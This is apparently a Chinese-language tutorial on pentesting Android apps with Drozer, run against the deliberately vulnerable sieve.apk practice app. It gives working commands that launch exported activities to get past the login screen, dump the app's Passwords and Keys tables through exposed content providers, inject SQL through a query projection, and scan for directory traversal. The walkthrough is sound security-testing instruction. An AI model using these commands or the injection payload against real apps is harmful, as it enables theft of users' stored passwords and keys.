一、前言
这里主要以sieve.apk为测试应用,来展示Drozer的功能点,起到一个抛砖引玉的作用
二、获取所要测试的apk的完整包名
命令:run app.package.list -f 包名关键字
示例:run app.package.list -f sieve
可见,sieve.apk的完整包名为:com.mwr.example.sieve,可为后面的命令做参考
三、获取包的基本信息
命令:run app.package.info -a yourTestPackageName
示例:run app.package.info -a com.mwr.example.sieve
可以看到sieve的版本信息,数据存储目录,用户ID,组ID,共享库,权限等信息
四、查找攻击面
命令:run app.package.attacksurface yourTestPackageName
示例:run app.package.attacksurface com.mwr.example.sieve
可以看到Android四大组件中,分别的暴露数分别为,3、0、2、2
五、对Android四大组件测试
1、Activity组件漏洞测试
(a)、查看全部对外暴露的activity组件信息
命令:run app.activity.info -a yourTestPackageName
示例:run app.activity.info -a com.mwr.example.sieve
Activity组件暴露分析:
com.mwr.example.sieve.MainLoginActivity是sieve.apk的启动的主界面,是必须可导出的,但剩下的两个理论上是不能导出的
(b)、对三个activity分别导出
命令:run app.activity.start --component yourTestPackageName youWantToActivity
示例:run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.MainLoginActivity的导出
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList的导出
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
com.mwr.example.sieve.FileSelectActivity的导出
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
由此可以看出,PWList和FileSelectActivity是直接绕过了MainLoginActivity,可以直接启动的,说明存在acitivty的越权漏洞
(c)、其他的app上的activity示例
由此可见,这里除了正常的启动activity之外,还有三个第三方登陆,微信、微博和QQ,说明此应用的activity组件也是正常的
2、Content Provider组件漏洞测试
(a)、获取Content Provider信息
示例:run app.provider.info -a yourTestPackageName
命令:run app.provider.info -a com.mwr.example.sieve
(b)、Content Providers(数据泄露)
获取所有可以访问的uri:
run scanner.provider.finduris -a com.mwr.example.sieve
获取各个Uri的数据:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
(c)、检测可利用uri,检查sql注入
run scanner.provider.injection -a com.mwr.example.sieve
(d)、利用暴露的content provider进行sql注入
使用Sql注入列出数据库中的所有数据表
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "
从File System-backed Content Providers获取信息
检测目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve
下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)
3、Broadcast组件测试
(a)、获取broadcast组件的信息
命令:run app.broadcast.info -a yourTestPackageName
示例:run app.broadcast.info -a com.mwr.example.sieve
没有暴露的bradcast组件
(b)、其他app的示例
暴露的broadcast组件是taobao的,说明也是安全的
4、services组件测试
(a)、获取service组件的信息
命令:run app.service.info -a yourTestPackageName
示例:run app.service.info -a com.mwr.example.sieve
(b)、其他app的示例
参考博客:https://blog.csdn.net/samlirongsheng/article/details/104926282